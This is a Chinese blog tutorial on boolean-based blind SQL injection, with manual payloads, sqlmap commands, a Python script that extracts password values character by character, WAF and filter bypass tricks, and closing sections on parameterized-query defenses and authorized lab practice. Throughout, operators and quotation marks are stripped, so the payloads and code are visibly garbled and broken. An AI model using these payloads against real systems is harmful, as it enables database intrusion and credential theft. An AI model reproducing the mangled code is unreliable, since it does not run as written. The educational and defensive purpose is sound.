多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

SQL布尔盲注原理与实战:从手工探测到自动化提取数据

SQL布尔盲注原理与实战:从手工探测到自动化提取数据 做Web安全测试这些年我见过不少让人头疼的注入场景。有些接口报错信息给得特别痛快数据库类型甚至表名直接就在响应里这种属于“新手快乐洞”很快就能闭环。但真正麻烦的是那种“沉默型”漏洞——你输入任何payload页面上看起来没什么变化返回的始终是正常页面或者错误页面唯一的区别可能就是某个关键词出现或者不出现。这种场景十有八九就是SQL布尔盲注Boolean-Based Blind SQL Injection。实战中这是最常见的低配数据库接口漏洞形态也是从“只会用sqlmap跑一把”到“懂注入原理”之间绕不开的一道坎。这篇文章我把布尔盲注的完整链路拆开讲从原理、手工验证、逐字符猜解到自动化提速再补上我自己踩过的坑希望能帮你一次弄明白。1. 布尔盲注到底是什么先搞懂“真假”到“页面”的映射关系1.1 为什么页面不会报错但数据却能被“抽”出来普通SQL注入能直接看到查询结果比如union select把用户名密码拼到页面上或者报错注入把数据库版本喷到报错信息里。布尔盲注不一样它的前提是应用把SQL查询结果用来做逻辑判断但不会把查询内容原样回显。最常见的场景是登录判断、ID查询详情、搜索某个记录是否存在。应用层拿到的只是“有没有数据”这个布尔结果然后渲染成“有内容”或“无内容”的页面。攻击者要做的就是把SQL条件改写成“我想确认的猜测”如果猜对了页面返回正常内容猜错了页面返回空内容或者默认提示。就这样一次问一个问题页面回答“是”或“否”最终把数据库里的数据一个字符一个字符地套出来。这种攻击之所以成立核心在于SQL表达式具备布尔化能力。SELECT * FROM users WHERE id1 AND ASCII(SUBSTR(database(),1,1))100当id1的数据存在时整条SQL的最终真值取决于后面的ASCII比较。如果比较为真查询有结果页面正常如果为假结果集为空页面出现不同的响应。这就是“布尔盲注”的字面含义。1.2 真值结果是怎么变成响应差异的拿登录功能举例我拿最经典的登录框来解释一遍。假设后端SQL长这样SELECT * FROM users WHERE usernameadmin AND passwordxxx应用只判断查询结果的行数大于0就放行登录等于0就提示“用户名或密码错误”。虽然我们看不到查询结果但我们完全可以在用户名处闭合语句加一段永真或永假条件。比如usernameadmin AND 11-- 和usernameadmin AND 12-- 第一句查询结果不为空可能走“登录成功”流程第二句结果为空走“登录失败”流程。这意味着一个看似无关紧要的真假差异直接决定了整个应用行为。用这个行为差异就可以去猜数据库中任意字符串。登录逻辑只是其中一种凡是“存在性”决定页面内容的地方都存在这种可能性。1.3 为什么不用报错注入或联合注入要专门写布尔盲注很多新手会有疑问为什么不用union select直接一把梭这里面有个很现实的限制回显点可能根本不存在。有的查询结果被后端包装成了JSON有的被直接丢弃只保留影响行数有的使用了聚合函数 COUNT/SUM还有些代码直接mysqli_fetch_row后又做了一次逻辑处理导致你构造多少列都看不到数据。报错注入则依赖数据库配置需要MySQL的extractvalue、updatexml这类函数能正常输出错误信息但很多生产环境已经把错误提示遮蔽成了统一页面报错信息根本到不了前端。布尔盲注最大的优势是对回显要求极低——只要响应中存在任何可区分的变化即可。哪怕只是一个500字和200字的长度差异、多了一行“无数据”的提示、状态码从200变成302都能用来做判断标准。这也是它被归为“最容易被忽略但最持久”的注入类型的原因。代价就是请求次数多需要自动化辅助这一点后面详细说。1.4 一串布尔判断就是一场“猜数游戏”用一个生活类比来记忆布尔盲注就像你面对一台程序它只会回答“对”或“不对”。你想知道它数据库里某个密码的第一个字符是什么于是你提问“它的ASCII码大于100吗”程序返回“对”。继续问“大于116吗”程序返回“不对”。如此反复多次一个字符的范围就被二分逼到唯一值。所有数据无非就是把这种提问重复几万次。理解了这个思维模型后面所有payload本质上都是在向服务器提问两行代码只是提问的“标准话术”。2. 如何快速发现并确认一个布尔盲注点2.1 最基本的探测思路把“真条件”和“假条件”分别试一遍面对一个动态参数我习惯先做“真值对比”测试而不是上来就叠一堆复杂函数。假设有个商品详情页路径是/product.php?id5页面正常展示了商品信息。那就先试/product.php?id5 AND 11 /product.php?id5 AND 12如果第一个返回内容和原页面相同第二个返回了“商品不存在”或者空页面、404页面那基本就说明参数被拼进SQL查询条件了。这是一个极简但非常有效的定性判断。这段测试的关键是确认页面差异是否稳定。我在调试过程中会反复刷新几遍排除网络波动、广告位变化带来的误判。一个读靶场的经验确认差异至少要保持5次请求结果一致再去定义自动化判断条件。2.2 闭合符与注释符SQL层“语义重写”的基础操作实际测试中直接拼AND 11不一定生效因为参数可能在SQL语句中处于引号包裹的位置。比如SELECT * FROM news WHERE title$keyword你的AND 11就会被当成一个字符串“’ AND 11”的一部分根本不参与逻辑运算。所以第一步实际上是判断闭合方式。我在手工测试时一般按这个顺序做闭合探测测试载荷判断思路单引号如果能诱发出页面异常或差异说明闭合大概率是单引号双引号同理判断是否是双引号包裹单引号加括号)应对WHERE id($id)这类结构数字型不需要闭合直接拼AND 11即可加注释符是为了让后面的内容失效否则原SQL结尾可能还有多余条件。不同数据库注释符不完全一致常见的有MySQL: -- # /*...*/ MSSQL: -- /*...*/ Oracle: -- /*...*/URL里记得把#编码成%23或者用--加号在URL中表示空格这些是实战里极易踩的细节。2.3 用Burp Suite定义“什么是正常响应”再对比异常响应手工浏览器测试只适合快速验证真正的判断还是得放到Burp Suite里做对比。我通常是这么操作的先在单个请求上确定一个基线响应记录状态码、Content-Length、页面标题、特征文本。然后再发带有假条件的请求对比Content-Length或关键字。如果长度差始终在20字节以上或者特征文本缺失这个差异就是可用的“预言机”。Burp Suite的Compare功能很适合做这件事。把正常响应和异常响应分别选中右键“Send to Comparer”它能自动标注出diff的位置秒级确认差异来源。有时候差异就藏在一个隐藏input标签的value里肉眼看不出来但Compare能精准定位。这个习惯养成了后续写自动化脚本时就能明确“用哪个特征作为判断依据”。2.4 不同响应层面的判断口径状态码、长度、关键词各有适用场景我遇到过不少判断条件特别纠结的靶场环境比如页面始终返回200但正文关键词会变化又比如正文永远一样但响应头里的Set-Cookie有细微差别。所以判断口径不能只依赖一种。判断维度适用场景优点风险状态码应用对空结果返回404或302最简单很多应用统一返回200正文长度页面内容随结果集变化判断快可能有广告、随机内容干扰关键词返回固定成功/失败文案最稳定需要先找到一个可用的关键词响应头极少数后端逻辑依赖头字段可兜底比较复杂容易误判响应时间结果集大小影响查询时间无明显特征时的备选网络波动导致误判率高绝大多数情况下首选“关键词”配合“长度”。我自己的判断优先级是关键词 长度 状态码 响应头。能区分出“是/否”就行什么方便用什么。3. 手工注入完整链路从库名到字段值一路猜到底3.1 先确认数据库指纹才有对应的函数和系统表布尔盲注的payload跟数据库类型强相关。MySQL、MSSQL、Oracle各有不同的系统表和字符串函数。我一般先通过几个简单的内置特性做指纹判断。在参数后拼接AND VERSION()0如果响应异常说明是MySQL。拼AND DB_NAME()0响应异常说明是MSSQL。拼AND TO_CHAR(1)1响应异常说明是Oracle。也可以用注释符差异--在很多数据库都有效/*在Oracle不被支持如果请求AND 11/**/报错很可能就是Oracle。这些步骤不需要太复杂关键是建立指纹基线后面每个payload都要对号入座。就我经验而言MySQL的靶场最多所以下面以MySQL为例但每个环节我会点名提到其他数据库的差异点。3.2 提取当前数据库名的标准手法length substr ascii假设已经确认了MySQL且是数字型注入当前库名的提取公式可以拆成三个函数LENGTH(database())获取字符串长度。SUBSTR(database(), N, 1)截取第N个字符。ASCII(SUBSTR(database(), N, 1))把字符转成ASCII码方便和数字比较。判断库名第一个字符的ASCII是否大于100payload可以这样写/product.php?id1 AND ASCII(SUBSTR(database(),1,1))100如果页面返回正常说明第一个字符的ASCII大于100接着试探110继续二分最终确定第一个字符的数值。然后改第二个参数/product.php?id1 AND ASCII(SUBSTR(database(),2,1))110以此类推。最后把ASCII码集合翻译成字符就是库名。这里有一个很关键的意识不要用等值判断去猜字符用二分法。等值判断你得试几十个值才可能命中而二分法对任意一个字符最多尝试7到8次就能精确到值。为什么是7到8次ASCII码范围是0到1272^7128理论上7次二分即可锁定一个具体的ASCII值加上边界确认8次足够。相比逐字符暴力尝试几十次速度提升非常明显。3.3 拿到表名和列名information_schema的正确打开方式库名在手后下一步是枚举表。MySQL的元数据存储在information_schema.tables表里当前库所有表名都可以通过这个视图查到。但因为布尔盲注没有回显我们不能直接查列表一行行看需要加上LIMIT配合累加判断。判断第一个表的表名的第一个字符AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),1,1))100LIMIT 0,1表示取第1行表名外层SUBSTR截取该表名的第1个字符。每换一个位置就改下标。这个方法虽然请求量大但逻辑简单手工完全可控。拿到表名后再去查列名AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 0,1),1,1))100MySQL里需要把表名用单引号包裹。如果应用过滤了单引号可以尝试用十六进制表示字符串table_name0x75736572730x7573657273解码就是“users”。这个技巧在绕过引号过滤时非常常用。3.4 单抽取目标数据用户名、密码字段逐行逐字符拆解表名、列名找齐后就进入“取数据”环节。假设目标是users表的username和password字段直接对查询结果做定位AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))100 AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),3,1))80这里有个细节先判断字段内容长度再确认字符值能省掉很多无效请求。判断字段长度用LENGTH((SELECT username FROM users LIMIT 0,1))5如果返回正常说明长度大于5继续二分下去。知道长度后我们就能规划对每个字符位置提问的总次数。3.5 手工二分法实操示例一条用户的密码怎么用8次请求确定我拿一个实际例子走一遍流程。假设目标判断的字符是密码第一个字符ASCII值是115小写字母s。攻击过程如下提问payload中的条件真实值 条件结论第1次ASCII 64是字符在65-128范围第2次ASCII 96是字符在97-128范围第3次ASCII 112是字符在113-128范围第4次ASCII 120否字符在113-120范围第5次ASCII 116否字符在113-116范围第6次ASCII 114是字符是115或116第7次ASCII 115否字符值为115看7次请求就锁定了ASCII码115对应字符s。整个密码假设长度32位用这种方法最多256次请求就能完整取出。虽然听起来不少但配合脚本或sqlmap分钟级别就能跑完。手工操作时建议用HackBar或Burp Repeater的“匹配高亮”功能每次请求结果变化一目了然。4. 从手动到自动工具与脚本让布尔盲注效率倍增4.1 sqlmap针对布尔盲注的核心参数与用法sqlmap虽然是个自动化工具但它能从大量请求中自动提取响应差异比自己手工跑要可靠得多。针对布尔盲注推荐使用以下参数组合sqlmap -u http://target.com/product.php?id1 \ --cookiePHPSESSIDxxx \ --techniqueB \ --stringProduct Name \ --dbs几个参数说明--techniqueB明确只使用布尔盲注技术避免sqlmap尝试其他方式带来噪音。--string指定正常响应中存在的固定字符串sqlmap以此作为“真值”判断口径。如果不知道用什么可以先抓包看响应里的稳定关键词。--tamper如果目标存在基础过滤可配合tamper脚本比如space2comment处理空格过滤。--threads布尔盲注天然支持并发加--threads5能明显提速但太猛容易触发防刷机制。--batch全部默认选择适合无人值守跑批。sqlmap拿到库名后继续枚举表和字段-D database --tables、-D database -T table --columns、-D database -T table -C username,password --dump。它能自动完成二分法和数据还原适合快速验证和批量场景。4.2 写一个极简的Python布尔盲注脚本核心就两步如果目标站点对sqlmap的特征做了检测或者你想彻底搞懂原理手工写脚本是个很好的进阶练习。下面这个脚本的逻辑非常简单先用“约定关键词”判断真值再对每个字符做二分请求。import requests url http://target.com/product.php true_marker Product Name # 正常响应里的特征字符串 cookie {PHPSESSID: your session} def is_true(payload): params {id: f1 AND {payload}} r requests.get(url, paramsparams, cookiescookie, timeout10) return true_marker.encode() in r.content def get_length(subquery): low, high 1, 100 while low high: mid (low high) // 2 if is_true(fLENGTH(({subquery})){mid}): low mid 1 else: high mid return low def get_char(subquery, pos): low, high 32, 127 while low high: mid (low high) // 2 if is_true(fASCII(SUBSTR(({subquery}),{pos},1)){mid}): low mid 1 else: high mid return chr(low) subquery SELECT password FROM users LIMIT 0,1 length get_length(subquery) print(flength: {length}) for pos in range(1, length 1): print(get_char(subquery, pos), end) print()这个脚本去掉了异常处理和重试机制实际使用建议加上会话保持、失败重试和限速。但核心思路非常清晰判断一个条件是否为真用二分逼近字符值。你要做的只是把subquery替换成你想提取的数据查询就能复用。比起直接依赖闭源工具这种脚本最大的价值是用最小的依赖跑通全流程遇到特殊场景随时改判断逻辑。4.3 不要让请求频率失控限速和随机化是长期任务的安全底线自动化一旦跑起来很容易因为请求过快触发Web应用防火墙或者锁定账号。我见过不少新人在局域网靶场里跑得猛结果IP被临时封掉还得等过了黑名单时间才能继续。稳妥起见脚本里加time.sleep(0.1)到0.5或者随机化User-Agent、增加一点延迟抖动看着慢但胜在稳。这里说的不是“规避检测搞破坏”而是确保测试过程不因为自己把环境搞挂而中断——尤其是授权测试时把目标打崩了对谁都没好处。5. 实战突围过滤器、弱特征响应与常见问题排查5.1 等号被过滤用GREATEST、LIKE、IN和BETWEEN替代很多基础过滤会用正则把和去掉。但布尔盲注的判真逻辑可以绕过。比如把ASCII(SUBSTR(...))115改写成ASCII(SUBSTR(...)) BETWEEN 114 AND 116或者ASCII(SUBSTR(...)) LIKE 115。更通用的是GREATEST(ASCII(SUBSTR(...)), 115)ASCII(SUBSTR(...))这个表达式只有当前者大于等于115时才成立本质就是一种布尔化判断。MySQL还支持STRCMP(str1, str2)两个字符串相等返回0可以通过与0比较来递进判断。具体用哪个方法取决于过滤规则是什么样的。关键在于理解布尔判断本质上是“构造一个只输出0或1的表达式”而不是非要依赖某一类语法。5.2 空格、注释符被过滤时的应急写法空格过滤是最常见的。用/**/代替空格是MySQL的经典做法但有时候注释符也在黑名单里。可以用括号把函数参数包裹得更紧密比如AND(ASCII(SUBSTR((SELECT(database())),1,1))100)。SELECT(database())这种写法在MySQL中合法因为括号本身就够分隔词法单元。另外在URL里还可以利用%09水平制表符和%0a换行代替部分空格。这取决于后端和数据库对空白符的容忍程度。这些技巧不需要全学会建议记一两个最通用的即可/**/替代空格、括号压缩表达式、十六进制替代单引号字符串。5.3 页面差异太微弱从“有/无”升级为“数值比较”有些场景下“真”和“假”的响应差异只有几十字节而且不稳定容易误判。这时可以换一种思路不再判断“响应是否相同”而是判断“响应长度是否大于某个值”。比如正常响应7900字节异常响应7720字节请求可以携带多组条件产生可量化的长度阶梯再用长度数值做比较。这种方法把布尔盲注悄悄变成了“数值型侧信道”抗干扰能力强很多。如果连长度都不稳定那就要考虑是不是页面里嵌入了随机内容。观察一下是否存在时间戳、随机推荐位、动态广告。如果确认有最好通过正则从响应中提取固定区域的内容再判断或者干脆换一个响应更稳定的接口作为测试点。5.4 常见问题速查表症状、可能原因和排查方向症状可能原因排查方向加AND 11和AND 12响应完全一致注入点不在SQL条件里或参数未被拼接换其他参数、检查闭合符、检查是否存在二次解码单引号被转义或过滤后端开启了addslashes、mysql_real_escape_string尝试宽字节注入、用十六进制字符串绕过提示“mysql function does not exist”函数写错或数据库不是MySQL重新确认数据库指纹换对应函数响应差异时有时无页面存在动态内容、负载均衡、会话过期增加重试次数、改用固定关键词判断sqlmap跑不出任何结果目标存在WAF或自定义过滤先手工确认注入点再用tamper脚本、降低请求速率脚本请求很快但结果全错二分编码或者判断逻辑有误先用单个已知条件测试脚本再扩展全量运行排查时有一个总原则永远先手工确认一个点的真值差异再交给工具。直接把一堆payload甩给脚本出了问题根本无从排查。6. 从攻到防理解布尔盲注后我建议你顺便学会怎么堵住它6.1 参数化查询是唯一根治手段过滤永远只能算是缓解写了这么多年代码我越来越理解一个事实SQL注入的根本问题是把“代码”和“数据”混在了一起。布尔盲注之所以可以从AND 11开始是因为用户输入被当成了SQL片段执行。参数化查询PreparedStatement之所以是根治方案是因为它强制把用户输入当数据传给数据库从语法层面杜绝了拼接行为。比如Java的PreparedStatement、PHP的PDO preparePython的cursor.execute(sql, params)这些接口能把查询骨架和参数分离。在实现业务逻辑时凡是动态查询都应该优先走参数化。对字符串拼接动态SQL这种写法要抱着一种“早晚出事”的警惕。6.2 数据库最小权限与错误信息模糊化纵深防御的第二道闸即使代码层出现了漏洞如果数据库账号权限很小攻击者的盲注范围也有限。生产环境不要把root或sa权限直接给应用连接使用最好只给当前业务库的增删改查权限并且去掉FILE、SUPER等高级权限。错误信息方面建议后端统一捕获数据库异常返回通用错误页。很多报错注入能成立就是因为数据库错误信息被完整回显了。6.3 关于测试边界的几句实在话授权和靶场是底线说到防守和攻击必须提醒一句SQL注入测试内容要用在合法授权的环境中。个人学习首选本地靶场比如DVWA、pikachu、sqli-labs这些环境免费开源能覆盖从入门到进阶的几乎所有注入场景。因为只有在这种环境里你才敢放开手脚去跑各种payload、观察响应、调参数真正把原理吃透。未经授权对公网目标做注入测试是违法行为这一点无论技术学到哪个阶段都不能碰。我个人见过不少初学者上来就想拿真实站点练手结果账户被平台封了甚至更麻烦。技术成长从来不缺靶场缺的是耐心。把sqli-labs的Less-8、Less-9这些布尔盲注关卡刷三遍比到处找目标瞎测强得多。7. 实战过程中的判断心得与效率技巧7.1 建立自己的“差异指纹库”能省一半排查时间我在测试一个站点时会先花几分钟把常见接口的正常响应长度、关键词、状态码记录下来存成一个简单的备忘录。当某个接口出现了奇怪的响应变化时我就能快速判断是页面更新、登录态失效还是注入条件生效了。别小看这个习惯它让我少走了很多冤枉路。很多次我以为找到了盲注点结果查了备忘录发现那个接口一直就是这么返回的纯粹是广告位闪了一下。7.2 善用“CASE WHEN”把多分支逻辑折叠进一个请求手工测试时每次请求只能回答一个“是或否”这很费时间。但如果条件判断比较稳定可以考虑用CASE WHEN把多个判断结果编码成不同的响应内容让一个请求携带更多信息。例如AND 1IF(ASCII(SUBSTR(database(),1,1))100,1,0)逻辑等价但书写上更紧凑有些过滤规则对CASE WHEN关注较少反而更容易绕过。不过这属于锦上添花的技巧前提还是先把基础布尔判断玩明白。7.3 日志复盘的价值每次判断都留痕写脚本跑盲注时我会为每个请求打印出当前猜解的字符范围、判断结果然后保存到本地日志。当初学者第一次编写盲注脚本时这一步尤其重要。否则跑完了发现结果乱码回头根本不知道哪一步开始错的。留日志的另一个好处是可以统计请求次数直观理解布尔盲注的开销这对优化后续脚本很有帮助。我之前跑一个32位哈希字段时手工二分后统计出总共发送了不到300个请求就还原出了全部内容比最初用暴力逐字符尝试省了十倍以上的请求。这个对比让我真正理解了二分法在布尔盲注里的分量。8. 布尔盲注在不同数据库场景下的变化8.1 MySQL的特色函数和information_schema思路MySQL的布尔盲注最顺手因为database()、version()、user()这些函数都内置系统表information_schema结构也相当直观。如果你是在MySQL环境里初学建议记牢这几个函数SUBSTR、ASCII、LENGTH、IF、GREATEST。所有盲注payload基本是这些函数的排列组合。另一个MySQL独有的技巧是可以用LIMIT和OFFSET遍历多行数据这也是我之前示例里一直在用的逻辑。8.2 MSSQL和Oracle的踩坑点备忘MSSQL下获取库名用DB_NAME()表名查询需要查sysobjects或者information_schema.tables但字符串截取要用SUBSTRING而不是MySQL里的SUBSTR且系统函数细节差别不小。Oracle则没有LIMIT需要用ROWNUM来做行数限制而且||是字符串拼接符不是逻辑或。Oracle的字符串函数是SUBSTR和ASCII但它的DUAL表和FROM语法在一些场景下需要特殊处理。这些差异不需要死记但知道“存在差异”本身能避免很多盲目套用。8.3 当数据库是非关系型或类SQL框架时的判断思路有些现代应用把SQL查询放到了ORM框架或者NoSQL层布尔盲注的判断方式可能需要改造成“根据业务语义”来提问而不是直接拼AND条件。这个超纲了但只要真正理解了“用响应差异来验证条件”这个思想换到MongoDB、Elasticsearch场景时思路依然是通用的找到不受控的输入点构造一个能影响查询结果的逻辑表达式然后观察响应差异。我最后再分享一个个人习惯每次跑完布尔盲注我都会把手工payload和脚本结果对照一遍挑两个字符位置对一下。这个习惯在靶场里看起来多余但在实际授权测试中帮了我很多次因为很多细节问题比如编码、闭合符、注释符只有完整对比才能暴露出来。本来以为工具跑出来的数据是对的结果手工一查发现有几个字符差了几位。盲注看似机械但每个环节都可能藏变量保持验证意识比什么都重要。
返回列表